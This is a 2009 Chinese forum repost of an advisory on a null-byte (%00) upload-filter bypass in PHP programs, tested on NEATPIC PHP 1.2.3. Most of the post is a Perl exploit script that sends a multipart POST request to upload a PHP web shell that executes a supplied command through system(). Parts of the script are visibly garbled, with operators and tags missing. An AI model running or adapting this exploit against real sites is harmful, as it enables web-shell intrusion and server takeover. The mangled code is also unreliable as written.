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PHP网站警报,多种PHP程序过滤漏洞

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发表于 2009-7-19 09:51:45 | 显示全部楼层 |阅读模式 来自 黑龙江省哈尔滨市
危害:直接上传任意文件
  漏洞描述:
  当PHP程序有指定PATH时,在PATH文件后门加入%00可以上传任意文件.
  测试程序:NEATPIC PHP目录直读版 1.2.3
  http://web.cncode.com/SoftView.asp?SoftID=1820
此贴转载http://www.bugba.com
  此文档参与者:
  漏洞实验者?篨iaolu,Lilo,SuperHei,Darkness [All BST Members]
  Http://Www.Bugkidz.org
  Xiaolu提供了一个漏洞利用程序:
  #!/usr/bin/perl
  $
  = 1;
  use Socket;
  $host = "127.0.0.1";
  $port = "80";
  $UploadTo = "";
  $str =
  "-----------------------------7d41f4a60***72\r\n".
  "Content-Disposition: form-data; name=\"path\"\r\n".
  "\r\n".
  "./php.php%00\r\n".
  "-----------------------------7d41f4a60***72\r\n".
  "Content-Disposition: form-data; name=\"image\"; filename=
  \"F:\\tools\\1.gif\"\r\n".
  "Content-Type: text/plain\r\n".
  "\r\n".
  ""system($c);\r\n".
  "?>\r\n".
  "-----------------------------7d41f4a60***72--\r\n".
  "\r\n";
  print $str;
  $len=length($str);
  print $len;
  $req ="POST /index.php?action=upload HTTP/1.1\r\n".
  "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
  application/msword, application/x-shockwave-flash, */*\r\n".
  "Referer: http://127.0.0.1/index.php?path=.\r\n".
  "Accept-Language: zh-cn\r\n".
  "Content-Type: multipart/form-data; boundary=----------------
  -----------7d41f4a60***72\r\n".
  "Accept-Encoding: gzip, deflate\r\n".
  "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
  5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n".
  "Host: 127.0.0.1\r\n".
  "Content-Length: $len\r\n".
  "Connection: Keep-Alive\r\n".
  "Cache-Control: no-cache\r\n".
  "Cookie: PHPSESSID=111****1111\r\n".
  "\r\n".
  "$str\r\n\r\n";
  print $req;
  @res = sendraw($req);
  print @res;
  #Hmm...Maybe you can send it by other way
  sub sendraw {
  my ($req) = @_;
  my $target;
  $target = inet_aton($host)
  die("inet_aton problems\n");
  socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')
  0)
  die("Socket problems\n");
  if(connect(S,pack "SnA4x8",2,$port,$target)){
  select(S);
  $
  = 1;
  print $req;
  my @res = ;
  select(STDOUT);
  close(S);
  return @res;
  }
  else {
  die("Can't connect...\n");
  }
  }
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